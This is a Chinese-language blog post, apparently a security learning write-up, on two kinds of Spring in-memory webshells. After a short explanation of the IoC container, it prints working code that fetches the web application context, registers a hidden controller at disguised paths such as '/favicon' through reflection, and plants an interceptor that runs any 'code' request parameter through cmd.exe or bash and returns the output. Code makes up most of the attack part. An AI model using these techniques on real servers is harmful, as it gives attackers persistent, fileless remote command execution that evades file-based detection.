浅析Spring两种内存马

浅析Spring两种内存马

Posted by SEVENTEEN on May 10, 2022

前言

   快要进入期末复习了,抓紧时间学一手java安全相关的知识,这次来看看Spring内存马。

IoC容器与Bean

   Spring通过IoC容器集中负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件, 借用依赖注入来维护类与类之间的关系。在配置Ioc容器的config.xml中,可以看到一种通过xml文件形式配置IoC容器。 Spring应用主要是由一个个的Bean构成的,而Bean是由Spring IoC容器负责实例化、配置、组装和管理的对象。 如果要访问和操作Bean,一般要获得当前代码执行环境的IoC 容器代表者ApplicationContext。

ApplicationContext

   在Spring框架中,BeanFactory接口是Spring IoC容器的实际代表者。 而ApplicationContext接口又继承了BeanFactory接口,并通过继承其他接口扩展了基本容器的功能。 因此,org.springframework.context.ApplicationContext接口也代表IoC容器, 它负责实例化、定位、配置应用程序中的对象(Bean)及建立这些对象间(Beans)的依赖。

DispatcherServlet

   DispatcherServlet的主要作用是处理传入的web请求,根据配置的URL pattern, 将请求分发给正确的Controller和View。并且DispatcherServlet继承自HttpServlet从本质上来讲是一个Servlet。

获取代码运行的上下文

   1. getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

   2. WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

   3. RequestContextUtils(推荐)

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

   4. getAttribute(推荐)

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

   因为Root Context无法访问Child Context中定义的bean,所以可能会导致Root WebApplicationContext获得不了RequestMappingHandlerMapping的实例bean。

   比如: 很多应用配置中注册Controller的component-scan组件都配置在类似的dispatcherServlet-servlet.xml中,而不是全局配置文件applicationContext.xml中。 就导致RequestMappingHandlerMapping的实例bean只存在于Child WebApplicationContext环境中,而不是Root WebApplicationContext中。

   另外,在有些Spring应用逻辑比较简单的情况下,可能没有配置ContextLoaderListener、也没有类似applicationContext.xml的全局配置文件,只有简单的servlet配置文件,也是获取不到Root WebApplicationContext的。

注册controller

   1. registerMapping

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 个别老旧项目使用旧式注解映射器要通过DefaultAnnotationHandlerMapping获取实例bean
// RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(DefaultAnnotationHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中的 Method 对象
Method method2 = ControllerShell.class.getMethod("parseRequest");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/log");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
ControllerShell injectToController = new ControllerShell("nil");
mappingHandlerMapping.registerMapping(info, injectToController, method2);

   2. registerHandler

// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

   3. detectHandlerMethods

// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
// 3. 反射调用requestMappingHandlerMapping的detectHandlerMethods方法注册controller
m1.invoke(requestMappingHandlerMapping, "dynamicController");

注册Interceptor

   拦截器必须实现HandlerInterceptor接口,并且拦截器只会拦截控制器的方法,HandlerInterceptor接口中有三个方法:

   1. preHandle: controller方法执行前拦截的方法

(1)可以使用request或者response跳转到指定的页面。/p>

(2)return true放行,执行下一个拦截器。如果没有拦截器,执行controller中的方法。

(3)return false不放行,不会执行controller中的方法。

   2. postHandle: controller方法执行后执行的方法,在JSP视图执行前。

(1)可以使用request或者response跳转到指定的页面。

(2)如果指定了跳转的页面,那么controller方法跳转的页面将不会显示。

   3. afterCompletion: JSP执行后执行

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    String arg0 = request.getParameter("code");
    if (arg0 != null) {
        PrintWriter writer = response.getWriter();
        String o = "";
        java.lang.ProcessBuilder p;
        if (System.getProperty("os.name").toLowerCase().contains("win")) {
            p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
        } else {
            p = new java.lang.ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
        }
        java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
        o = c.hasNext() ? c.next() : o;
        c.close();
        writer.write(o);
        writer.flush();
        writer.close();
        return true;
    } else {
        return true;
    }
}

There Is Nothing Below

   

Turn at the next intersection.